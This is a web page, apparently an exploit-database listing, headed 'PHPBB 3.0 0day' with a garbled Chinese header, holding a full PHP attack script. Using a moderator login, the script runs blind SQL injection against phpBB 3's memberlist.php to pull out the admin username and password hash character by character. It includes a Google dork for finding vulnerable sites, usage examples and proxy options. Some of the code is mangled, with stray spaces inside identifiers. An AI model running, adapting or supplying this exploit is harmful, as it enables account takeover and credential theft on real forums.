PHPBB 3.0 0day

Է:

@Sebug.net   dis
վṩ()ܴй,ȫоѧ֮,Ը!1.#!/usr/bin/php -q -d short_open_tag=on 2.<? 3.echo "PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosure\n"; 4.echo "by Hackerz5 hackerz5x@yahoo.com\n"; 5.echo "site: http://hackerz5.com\n"; 6.echo "dork, version specific: \"Powered by phpBB * 2002, 2006 phpBB Group\"\n\n"; 7./* 8.works regardless of php.ini settings 9.you need a global moderator account with "simple moderator" role 10.*/ 11.if ($argc<5) { 12.echo "Usage: php ".$argv[0]." host path user pass OPTIONS\n"; 13.echo "host: target server (ip/hostname)\n"; 14.echo "path: path to phpbb3\n"; 15.echo "user/pass: u need a valid user account with global moderator rights\n"; 16.echo "Options:\n"; 17.echo " -T[prefix] specify a table prefix different from default (phpbb_)\n"; 18.echo " -p[port]: specify a port other than 80\n"; 19.echo " -P[ip:port]: specify a proxy\n"; 20.echo " -u[number]: specify a user id other than 2 (admin)\n"; 21.echo " -x: disclose table prefix through error messages\n"; 22.echo "Example:\r\n"; 23.echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u\r\n"; 24.echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7\n"; 25.die; 26.} 27.error_reporting(0); 28.ini_set("max_execution_time",0); 29.ini_set("default_socket_timeout",5); 30.function quick_dump($string) 31.{ 32.$result='';$exa='';$cont=0; 33.for ($i=0; $i<=strlen($string)-1; $i++) 34.{ 35.if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) 36.{$result.=" .";} 37.else 38.{$result.=" ".$string[$i];} 39.if (strlen(dechex(ord($string[$i])))==2) 40.{$exa.=" ".dechex(ord($string[$i]));} 41.else 42.{$exa.=" 0".dechex(ord($string[$i]));} 43.$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} 44.} 45.return $exa."\r\n".$result; 46.} 47.$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b) '; 48.function sendpacketii($packet) 49.{ 50.global $proxy, $host, $port, $html, $proxy_regex; 51.if ($proxy=='') { 52.$ock=fsockopen(gethostbyname($host),$port); 53.if (!$ock) { 54.echo 'No response from '.$host.':'.$port; die; 55.} 56.} 57.else { 58.$c = preg_match($proxy_regex,$proxy); 59.if (!$c) { 60.echo 'Not a valid proxy...';die; 61.} 62.$parts=explode(':',$proxy); 63.echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; 64.$ock=fsockopen($parts[0],$parts[1]); 65.if (!$ock) { 66.echo 'No response from proxy...';die; 67.} 68.} 69.fputs($ock,$packet); 70.if ($proxy=='') { 71.$html=''; 72.while (!feof($ock)) { 73.$html.=fgets($ock); 74.} 75.} 76.else { 77.$html=''; 78.while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$h tml))) { 79.$html.=fread($ock,1); 80.} 81.} 82.fclose($ock); 83. 84.#debug 85.#echo "\r\n".$html; 86.} 87.$host=$argv[1]; 88.$path=$argv[2]; 89.$user=$argv[3]; 90.$pass=$argv[4]; 91.$port=80; 92.$prefix="PHPBB_"; 93.$user_id="2";//admin 94.$discl=0; 95.$proxy=""; 96.for ($i=3; $i<=$argc-1; $i++){ 97.$temp=$argv[$i][0].$argv[$i][1]; 98.if ($temp=="-p") 99.{ 100.$port=str_replace("-p","",$argv[$i]); 101.} 102.if ($temp=="-P") 103.{ 104.$proxy=str_replace("-P","",$argv[$i]); 105.} 106.if ($temp=="-T") 107.{ 108.$prefix=str_replace("-T","",$argv[$i]); 109.} 110.if ($temp=="-u") 111.{ 112.$user_id=str_replace("-u","",$argv[$i]); 113.} 114.if ($temp=="-x") 115.{ 116.$discl=1; 117.} 118.} 119.if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} 120.if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} 121.$data="username=".urlencode($user); 122.$data.="&password=".urlencode($pass); 123.$data.="&redirect=index.php"; 124.$data.="&login=Login"; 125.$packet="POST ".$p."ucp.php?mode=login HTTP/1.0\r\n"; 126.$packet.="Referer: http://$host$path/ucp.php?mode=login\r\n"; 127.$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; 128.$packet.="Accept-Encoding: text/plain\r\n"; 129.$packet.="Host: ".$host."\r\n"; 130.$packet.="Content-Length: ".strlen($data)."\r\n"; 131.$packet.="Connection: Close\r\n\r\n"; 132.$packet.=$data; 133.sendpacketii($packet); 134.$cookie=""; 135.$temp=explode("Set-Cookie: ",$html); 136.for ($i=1; $i<=count($temp)-1; $i++) 137.{ 138.$temp2=explode(" ",$temp[$i]); 139.$cookie.=" ".$temp2[0]; 140.} 141.if (eregi("_u=1;",$cookie)) 142.{ 143.//echo $html."\n";//debug 144.//die("Unable to login..."); 145.} 146.echo "cookie -> ".$cookie."\r\n"; 147.if ($discl) 148.{ 149.$sql="'suntzuuuuu"; 150.echo "sql -> ".$sql."\n"; 151.$sql=urlencode(strtoupper($sql)); 152.$data="username="; 153.$data.="&icq="; 154.$data.="&email="; 155.$data.="&aim="; 156.$data.="&joined_select=lt"; 157.$data.="&joined="; 158.$data.="&yahoo="; 159.$data.="&active_select=lt"; 160.$data.="&active="; 161.$data.="&msn="; 162.$data.="&count_select=eq"; 163.$data.="&count="; 164.$data.="&jabber="; 165.$data.="&sk=c"; 166.$data.="&sd=a"; 167.$data.="&ip=".$sql; 168.$data.="&search_group_id=0"; 169.$data.="&submit=Search"; 170.$packet="POST ".$p."memberlist.php?joined_select=lt&active_selec t=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post &field=username_list&mode=searchuser&form=post HTTP/1.0\r\n"; 171.$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; 172.$packet.="Host: ".$host."\r\n"; 173.$packet.="Content-Length: ".strlen($data)."\r\n"; 174.$packet.="Connection: Close\r\n"; 175.$packet.="Cookie: ".$cookie." \r\n\r\n"; 176.$packet.=$data; 177.sendpacketii($packet); 178.if (strstr($html,"You have an error in your SQL syntax")) 179.{ 180.$temp=explode("posts",$html); 181.$temp2=explode(" ",$temp[0]); 182.$prefix=strtoupper($temp2[count($temp2)-1]); 183.echo "prefix -> ".$prefix."\n";sleep(2); 184.} 185.} 186.$md5s[0]=0;//null 187.$md5s=array_merge($md5s,range(48,57)); //numbers 188.$md5s=array_merge($md5s,range(97,102));//a-f letters 189.//print_r(array_values($md5s)); 190.$j=1;$password=""; 191.while (!strstr($password,chr(0))) 192.{ 193.for ($i=0; $i<=255; $i++) 194.{ 195.if (in_array($i,$md5s)) 196.{ 197.$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$us er_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999"; 198.echo "sql -> ".$sql."\n"; 199.$sql=urlencode(strtoupper($sql)); 200.$data="username="; 201.$data.="&icq="; 202.$data.="&email="; 203.$data.="&aim="; 204.$data.="&joined_select=lt"; 205.$data.="&joined="; 206.$data.="&yahoo="; 207.$data.="&active_select=lt"; 208.$data.="&active="; 209.$data.="&msn="; 210.$data.="&count_select=eq"; 211.$data.="&count="; 212.$data.="&jabber="; 213.$data.="&sk=c"; 214.$data.="&sd=a"; 215.$data.="&ip=".$sql; 216.$data.="&search_group_id=0"; 217.$data.="&submit=Search"; 218.$packet="POST ".$p."memberlist.php?joined_select=lt&active_selec t=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post &field=username_list&mode=searchuser&form=post HTTP/1.0\r\n"; 219.$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; 220.$packet.="Host: ".$host."\r\n"; 221.$packet.="Content-Length: ".strlen($data)."\r\n"; 222.$packet.="Connection: Close\r\n"; 223.$packet.="Cookie: ".$cookie." \r\n\r\n"; 224.$packet.=$data; 225.sendpacketii($packet); 226.if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;} 227.} 228.if ($i==255) {die("Exploit failed...");} 229.} 230.$j++; 231.} 232.$j=1;$admin=""; 233.while (!strstr($admin,chr(0))) 234.{ 235.for ($i=0; $i<=255; $i++) 236.{ 237.$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id ,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999"; 238.echo "sql -> ".$sql."\n"; 239.$sql=urlencode(strtoupper($sql)); 240.$data="username="; 241.$data.="&icq="; 242.$data.="&email="; 243.$data.="&aim="; 244.$data.="&joined_select=lt"; 245.$data.="&joined="; 246.$data.="&yahoo="; 247.$data.="&active_select=lt"; 248.$data.="&active="; 249.$data.="&msn="; 250.$data.="&count_select=eq"; 251.$data.="&count="; 252.$data.="&jabber="; 253.$data.="&sk=c"; 254.$data.="&sd=a"; 255.$data.="&ip=".$sql; 256.$data.="&search_group_id=0"; 257.$data.="&submit=Search"; 258.$packet="POST ".$p."memberlist.php?joined_select=lt&active_selec t=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post &field=username_list&mode=searchuser&form=post HTTP/1.0\r\n"; 259.$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; 260.$packet.="Host: ".$host."\r\n"; 261.$packet.="Content-Length: ".strlen($data)."\r\n"; 262.$packet.="Connection: Close\r\n"; 263.$packet.="Cookie: ".$cookie." \r\n\r\n"; 264.$packet.=$data; 265.sendpacketii($packet); 266.if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]\r\n";sleep(2);break;} 267.} 268.if ($i==255) {die("Exploit failed...");} 269.$j++; 270.} 271.echo "--------------------------------------------------------------------\r\n"; 272.echo "admin -> ".$admin."\r\n"; 273.echo "password (md5) -> ".$password."\r\n"; 274.echo "--------------------------------------------------------------------\r\n"; 275.function is_hash($hash) 276.{ 277.if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} 278.else {return false;} 279.} 280.if (is_hash($password)) {echo "Exploit succeeded...";} 281.else {echo "Exploit failed...";} 282.?>